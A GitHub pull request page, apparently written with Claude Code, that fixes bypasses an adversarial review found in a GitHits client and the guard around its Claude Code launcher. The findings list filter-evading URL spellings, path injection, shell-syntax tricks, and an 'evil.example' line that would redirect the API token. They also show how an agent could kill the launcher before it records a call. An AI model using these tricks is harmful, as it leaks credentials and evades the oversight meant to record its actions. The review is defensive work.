Repository navigation
Close the contamination, license, launcher and record bypasses an independent adversarial review found in the GitHits client and its Claude Code launcher before the A/B pilot. - #142
Conversation
…its Claude Code launcher before the A/B pilot An independent adversarial verification of #129 and #134 (with #135), not built through `syberlabs propose`. Each finding has a regression test in tests/test_githits_adversarial.py that fails on main (4219850) and passes here. Contamination control (githits.py): - every exclusion layer reads a text as a URL parser (WHATWG URL with IDNA) or a lenient server may: percent-decoded to a fixed point, NFKC-folded with format characters removed, ideographic and fullwidth stops as ".", a backslash as "/", a host's port or root dot ignored, and for a locator "." and ".." segments resolved and whitespace removed (https://github.com:443/SyberLabs/x, https://github.com/x/../SyberLabs/x, fullwidth hosts and "github: SyberLabs/x" left the machine before); - an owner's own domains (syberlabs.io, www.syberlabs.io, rise.syberlabs.io) are excluded like <owner>.github.io; before, only the bare apex was refused, and only as a target; - a search hit, grep hit or list entry whose text cites an excluded owner is dropped and counted, as a read body citing one is blocked. Licenses (githits.py): a code-host source in any Markdown or HTML link form (reference, titled, angle-bracketed, autolink, anchor, bare URL with its license) and any SPDX-License-Identifier tag in an example's code are judged; before, one permissive inline link admitted an example whose other source was copyleft. The launcher and its guard (query_guard.py, githits_cli_entry.py): an unquoted word a shell reads differently from the guard is refused (=cmd under zsh, NAME=value under bash set -k, which would put GITHITS_API_URL into the launcher's environment, @name under PowerShell, and ^ under zsh's EXTENDED_GLOB); a Bash timeout under the two-minute default is refused, so the agent cannot end the client after its request left and before it records; a SIGTERM becomes SystemExit in the launcher's entry, so a launcher ended that way records its call. Records and accounting (githits.py, claude_code.py; #139's four findings): - a call records whatever happens after its request may have left (an answer this client cannot read is malformed_response, an interruption is recorded before it propagates); - each record says whether its request was written to the server (sent), so a timeout after GitHits received a request and a refused connection no longer leave the same record; - a failed or timed-out call whose launcher calls outnumber its records journals those records guard: unguarded, or a githits.unrecorded fact for each launcher call when it has none, instead of losing the lookup that was in flight; - X-GitHits-Session-ID is <thread>-<arm> for a provider built in Python too, not s1-b. Token: doctor's Retry-After is scrubbed like X-Request-ID. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01HCTqqTVthqCzZJu6MWasuz
Codex Review SummaryThis comment shows the latest Codex review activity on this pull request.
ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings. |
…sh rendering after an ok record, and pin #138's delivery gap #135 lets the launcher run only the five lookups, but their path arguments were never checked: read site:docs.python.org --path //syberlabs.io/... (a network-path reference), --path @syberlabs.io/... (userinfo, when a server concatenates site and path), an absolute URL, and the same in list --path, grep --glob and search path_prefix pass the guard as plain words. A server that joins the site and the path as a URL would read SyberLabs' site. request_paths collects them and call refuses one that mentions an excluded owner, before any request. The CLI writes the record before it renders. A hit outside the contract (a locator that is not an object, a list entry or grep hit that is not one) made render raise after an ok record: the agent saw a traceback while the record said ok. render now reads such an item as empty. #138 (open) writes the record after its deliver callback and records error only for an OSError or ValueError from it; any other exception leaves no record for a request that reached GitHits. Pinned as an expected failure until #138 records every failed delivery. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01HCTqqTVthqCzZJu6MWasuz
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 219a6777a4
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| return record_lookup({"op": UNRECORDED_OP, "query_digest": call.get("query_digest"), "at": call.get("at"), | ||
| "sent": None}, query_guard.UNGUARDED) |
There was a problem hiding this comment.
Handle synthetic lookup facts in the metrics reader
When a failed or timed-out provider call leaves no client record, this creates a synthetic githits.unrecorded fact, but metrics._thread counts every githits.* fact except githits.doctor as an authentic client record. Consequently, a journal containing only this placeholder reports githits_lookups.value = 1 with the note host-observed: authentic GitHits client records, even though the launcher may never have started the client. Update the metrics reader alongside this new fact type so missing records preserve an unknown count rather than becoming a definite measurement in the A/B results.
Useful? React with 👍 / 👎.
… differently Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01HCTqqTVthqCzZJu6MWasuz
#142 closes the four accounting findings this branch pinned as expected failures: - the client records every failure after a request is sent; - records carry sent; - a failed call journals its unrecorded launcher calls; - a provider built in Python names its thread in the session. It is based on main 4219850, which this branch already merged. The merge was clean. #142 should merge first; this branch includes its commits until then. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01HCTqqTVthqCzZJu6MWasuz
…ed against the server #142 closes the four findings this module pinned as expected failures: - The markers are gone. The three tests of githits.py and claude_code.py behaviour now pin what #142 does, in a Fixed class: an unreadable answer is recorded (malformed_response, sent), a timeout and a refused connection differ in sent, and a provider built in Python names its thread in the session. - The in-flight-at-timeout case moves to Unknowable. Its failed call now journals its records unguarded, or a githits.unrecorded fact when it has none, so the count is unknown instead of a known number one short. - The crash-after-send twin is now recorded, so it moves to Exact (2/2/2). The usage-error case stays unknown: a SIGKILL or a failed record write after a request left still leaves the same journal. Every case now also compares the facts with sent: true to the server's count. They match in every case except a lookup killed in flight, which the journal marks unguarded or githits.unrecorded. docs/METRICS.md: the unknown condition names githits.unrecorded facts, and the ground-truth bullet records the above. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01HCTqqTVthqCzZJu6MWasuz
An independent adversarial verification of #129 (GitHits client) and #134 (its Claude Code launcher), re-run on #135, before the paid A/B pilot uses them. It was not built through
syberlabs propose. Every finding below has a regression test intests/test_githits_adversarial.pythat fails onmain(4219850) and passes on this branch, except finding 14. That one is in #138's open code and is pinned as an expected failure. No call reached the real GitHits API; everything runs against the loopbackFakeGitHitsand the stand-inclaude.Findings
github.com/SyberLabs/...was not refused, so the request left: a port (https://github.com:443/SyberLabs/SyberWork), the root dot, dot segments (/x/../SyberLabs,%2e%2e), fullwidth hosts,。/., a zero-width space,github: SyberLabs/x,pypi: syberlabs, a backslash, double encoding. End to end, the agent's{launcher} read https://github.com:443/SyberLabs/SyberWorkpassed the real guard and launcher and reached GitHits.syberlabs.io, by theregistry:ownerrule.site:www.syberlabs.ioandrise./omni./sketch.syberlabs.iopassed every layer, and a search or grep hit served fromhttps://syberlabs.io/projects/syberwork/was kept. The site'sllms-full.txtdescribes SyberWork.github.com/SyberLabs/...was kept, while a read whose body holds the same text is blocked.[text](https://<code host>/...) (SPDX)counted as a source. A copyleft source written as a reference link, a titled, angle-bracketed or uppercase-scheme link, an autolink, an HTML anchor or a bare URL with its license was missed, and so was anSPDX-License-Identifier: GPL-3.0-onlytag in the generated code. One MIT source then admitted the whole example.set -kaNAME=valueword after the launcher becomes environment. So{launcher} search q --target pypi:x GITHITS_API_URL=https://evil.example/v1would send the token there, andSYBERLABS_GITHITS_LICENSES=anywould turn the license check off. In zsh (macOS default)=cmdexpands to a path (EQUALS is on by default) and^globs under EXTENDED_GLOB. PowerShell, which #135 judges by the same rule, splats@name.timeout, so the agent could have Claude Code kill the launcher after its request left and before the client records (it records after the answer). The lookup then got nolookupfact, onlymismatch: githits_unrecorded.timeoutunder the 2-minute default is refused; SIGTERM is recorded)_record: a non-object hit (AttributeError in_filter), JSON nested past the recursion limit, or an interruption. This is #139 finding 1.senton every record and factX-GitHits-Session-ID: s1-bfor every thread. This is #139 finding 4.<thread>-<arm>doctorprintedRetry-Afterunscrubbed. A server echoing the token there (as theX-Request-IDfix anticipates) would put it into a CI canary's log.read site:docs.python.org --path //syberlabs.io/...(a network-path reference),--path @syberlabs.io/...(userinfo, if the site and path are concatenated), or an absolute URL. The same holds for list--path, grep--globand searchpath_prefix. All pass the guard as plain words. A server that joins site and path as a URL would fetch SyberLabs' site.renderraise after anokrecord: the agent saw a traceback, the record saidok.rendernever raises on such dataClient._finishrecordserroronly whendeliverraisesOSError/ValueError. Any other exception, or theSystemExita SIGTERM becomes, leaves no record for a request that reached GitHits.@unittest.expectedFailure(OutputMatchesTheRecord.test_pr_138_...)example --license-mode yolo, which turns GitHits' server-side license filter off.launcher_parser); kept in the end-to-end testNothing here duplicates #138. #138 fixes output delivery (print before record, encoding errors replaced), which covers an
OSErrororValueErrorwhile printing after anokrecord: a broken pipe, or a cp1252 console. Two things here are outside that: the post-send errors of finding 7 (injson.loadsand_filter, before any output) and therendercrash of finding 13 (anAttributeError, which #138's_finishdoes not catch).renderis not touched by #138.What changed
githits.py: theExclusionsreadings and owner-domain rule;request_paths(a path, glob or prefix that mentions an excluded owner is refused like a target);renderreads an item outside the contract as empty; free text in hits, entries and read metadata;example_licensesin every link form plus SPDX tags;call()/doctor()record on any failure after send;sent; theRetry-Afterscrub.query_guard.py:^is no longer plain. An unquoted word starting with=,@orNAME=isshell_syntax, and passes quoted. AtimeoutunderMIN_BASH_TIMEOUT_MS(120000) isshell_syntax.githits_cli_entry.py: SIGTERM becomesSystemExitonce a lookup is parsed, so the client records the call.claude_code.py:record_lookupcarriessent. On a failed call with fewer records than guarded launcher calls, the records are journaledguard: unguarded; with none, onegithits.unrecordedfact stands for each guarded launcher call._sessionfalls back to the space's thread.docs/CLAUDE_CODE.md: the guard rules, what is recorded, and the session.Design questions, left as they are
pypi:syberwork, this repository's distribution. So do forks and member accounts (sykosyber/..., a transferred repo's redirect) and front-ends (deepwiki.com/SyberLabs/SyberWork). An existing test deliberately pins/<owner>/on a non-code host as not excluded.readof a GPL file passes unjudged. "Permissive only" holds for examples alone.WITHexceptions. The exception is not judged, soMIT WITH Commons-Clauseis admitted.--wait-ms 210000gives the client 240 s). Only the mismatch flags it. Options: a write-ahead record, a client deadline under the Bash timeout, or journaling unrecorded launcher calls on success too.no_changecalls. These still lose their mismatch (spec/GAPS.md59 (12)).example "the SyberWork admission kernel from SyberLabs", is not refused; the skill only asks the agent not to. It steers GitHits toward SyberLabs code, which layer (c) catches only when the example cites it. A guard rule on the owner's name is cheap but is a policy choice.Coordination
test/githits-accounting-ground-truth) is not in this branch, because it does not yet contain 4219850. It conflicts with Harden the GitHits launcher route before the A/B pilot: the launcher entry accepts only the five lookup operations with license_mode strict, arm A loses every GitHits variable, the skill digest is LF- #135 inmetrics.py; keeping both rules resolves it. Its several-lookups test also runsdoctorthrough the launcher, which Harden the GitHits launcher route before the A/B pilot: the launcher entry accepts only the five lookup operations with license_mode strict, arm A loses every GitHits variable, the skill digest is LF- #135 now refuses. Once both PRs land, three things are needed:@unittest.expectedFailuremarkers inFindings. Verified locally: Check githits_lookups against an independent loopback GitHits counter in seventeen cases and make it unknown where the journal cannot say how many requests reached GitHits (merge #142 first). #139 merged with this branch passes all four without them.Unknowable.test_a_launcher_call_that_left_no_record_makes_the_count_unknownneeds another way to lose a record. Its NULL_HIT crash is now recorded (finding 7); the in-flight timeout is one way.Client.call,runand the entry, so expect textual conflicts. When merging, keepdeliverinside the record-on-failure umbrella and record any exception from it, which also clears finding 14; then remove that test'sexpectedFailuremarker.docs/GITHITS.mdis another agent's file. Its layer table and records section should mention the readings, owner domains, link forms and SPDX tags, andsent.Test evidence
tests/test_githits_adversarial.py: 23 tests, one of them the expected failure pinned for Make the GitHits launcher entry survive a console that cannot encode a result: it reuses the CLI's unicode reconfiguration before any output, and the client delivers its output before it writes the re #138. Each finding's test fails onmain(4219850) and passes here; three controls pass on both (the guard passes the spellings, other owners still pass, the bashset -kpremise). They include an end-to-end arm B run through the real guard and launcher, a real hook process, a SIGTERM'd launcher process, and a call timeout with a held request.env -u ANTHROPIC_BASE_URL -u CLAUDE_CODE_PROVIDER_MANAGED_BY_HOST PYTHONPATH=. python3 -m unittest discover -s tests):Ran 1019 tests in 865.577s, OK (skipped=24, expected failures=1)on 40d98d0 (1016 OK on the first commit, 219a677); 1cab541 only fixes a docstring.PYTHONPATH=. python3 -m conformance.run: matched 23 golden traces.https://claude.ai/code/session_01HCTqqTVthqCzZJu6MWasuz
Generated by Claude Code